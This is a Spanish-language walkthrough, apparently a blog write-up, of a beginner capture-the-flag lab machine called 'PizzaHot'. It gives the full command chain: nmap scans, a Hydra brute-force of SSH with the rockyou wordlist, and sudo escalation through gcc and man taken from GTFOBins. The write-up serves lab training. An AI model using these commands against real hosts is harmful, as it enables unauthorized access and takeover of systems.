> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/the-hacker-labs/pizzahot.md).

# PizzaHot

🔍 Dificultad: Principiante

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.41
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FWhcyF7BO5iA0uQjyhl3Z%2Fimage.png?alt=media&amp;token=a9b5faf3-eedd-498e-a989-a5020e656d49" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 192.168.1.41
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FXkbRp5lQd0KV0aRoEsei%2Fimage.png?alt=media&amp;token=7a0189d3-3dc1-4ec6-a8a4-854702936ef4" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 192.168.1.41
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FjMOhnBNcaoNBMm3nQwbr%2Fimage.png?alt=media&amp;token=837814cf-aeb9-4b57-9f9c-17bb0d152442" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora exploramos el servicio **HTTP**. Ingresamos la IP y nos encontramos la página de pizzas.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FYDue9QAS5rO4sQHwxbBK%2Fimage.png?alt=media&amp;token=310dcba6-f349-42fc-a72f-d3c8193a6519" alt=""><figcaption></figcaption></figure>

Revisamos el código fuente y encontramos el nombre de un usuario llamado **pizzapiña**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FHQcniE4I1kOFl9BVilGc%2Fimage.png?alt=media&amp;token=9283d212-7900-4b30-b43e-a76f2b43265c" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Con la información obtenida anteriormente, realizamos el comando:

```bash
hydra -l pizzapiña -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.41 -t 5
```

que utiliza la herramienta **Hydra** para realizar un ataque de fuerza bruta contra el servicio **SSH** de una máquina con la IP **192.168.1.41**

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FA4U5Nxa4yPz9RsyIKlFS%2Fimage.png?alt=media&amp;token=c988dfe6-5124-4705-b045-ee7dabf7d79d" alt=""><figcaption></figcaption></figure>

Al realizar el ataque de fuerza bruta, hemos descubierto la contraseña de **pizzapiña**. Sabiendo esto, nos conectamos a través de **SSH** al usuario con el comando:

```bash
ssh pizzapiña@192.168.1.41
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FDjhVW3scGZKFl2te7Ji2%2Fimage.png?alt=media&amp;token=e5657dd3-195e-4571-9144-2375795e2ae5" alt=""><figcaption></figcaption></figure>

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FxLKmjRg8GScmpNURNNMQ%2Fimage.png?alt=media&amp;token=ed2d6122-2990-4418-a18d-09c9ae1aea99" alt=""><figcaption></figcaption></figure>

Vemos que tenemos permisos sudo con **gcc** por lo que miramos [GTFOBins ](https://gtfobins.github.io/gtfobins/gcc/)para ver como podemos escalar privilegios.

```bash
sudo -u pizzasinpiña gcc -wrapper /bin/sh,-s .
```

Realizar tratamiento de la TTY. Como se nos muestra aquí: [Tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/#). &#x20;

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FIj3B6eBf1W8Ht23LGAFU%2Fimage.png?alt=media&amp;token=340585ae-efcd-4095-bf2a-6714c4781b88" alt=""><figcaption></figcaption></figure>

Ya estamos dentro del usuario **pizzasinpiña** por lo que realizamos otra vez el comando:

```bash
sudo -l
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FodU6njBaQP6WnDWcrROx%2Fimage.png?alt=media&amp;token=8c5c35f4-63b9-493c-8073-7f8a57c356db" alt=""><figcaption></figcaption></figure>

Vemos que tenemos permisos sudo con **man** por lo que miramos [GTFOBins ](https://gtfobins.github.io/gtfobins/man/)para ver como podemos escalar privilegios.

```bash
sudo man man
```

Presionamos la tecla **ESC** para salir del modo de inserción en VIM y, a continuación, ejecutamos el siguiente comando para obtener una shell con privilegios elevados:

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FflDrxuHAMWJuFGn3vF0q%2Fimage.png?alt=media&amp;token=0376e198-6686-4559-96e0-5ab054eb3747" alt=""><figcaption></figcaption></figure>

Ya somos **root**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FLL1CGAqRTtHTMusfDinH%2Fimage.png?alt=media&amp;token=2b87d930-e5a7-4fa6-a3d5-db963910a627" alt=""><figcaption></figcaption></figure>

Te deseo mucho éxito en tu búsqueda de las flags! Recuerda prestar atención a cada detalle, examinar los archivos y servicios con detenimiento, y utilizar todas las herramientas disponibles para encontrarlas. La clave para el éxito está en la perseverancia y en no dejar ningún rincón sin explorar. ¡Adelante, hacker! 💻🔍🚀
